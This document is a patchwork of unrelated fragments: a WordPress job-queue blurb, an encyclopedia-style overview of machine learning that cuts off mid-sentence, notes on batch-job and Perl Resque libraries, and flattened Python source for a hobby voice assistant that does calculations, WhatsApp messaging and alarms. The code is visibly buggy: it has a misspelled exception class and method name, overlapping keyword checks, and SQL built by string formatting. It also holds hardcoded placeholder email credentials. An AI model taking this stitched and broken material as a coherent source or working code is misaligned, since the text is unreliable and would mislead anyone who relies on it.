A scalable, traceable job queue for background processing large queues of tasks in WordPress. Specifically designed for distribution in WordPress plugins (and themes) - no server access required.

An ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so

API for batch jobs. Partitioning of batches into blocks of work, limiting the number of concurrent task instances, critical sections across servers, standardised activity logging and alerting.

Perl port of the original Ruby library. It's intended to work using the same backend to share tasks and be able to manage the system using ruby's resque-server webapp. Resque is a Redis-backed library for creating background jobs, placing them on multiple queues, and processing them later.

import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his 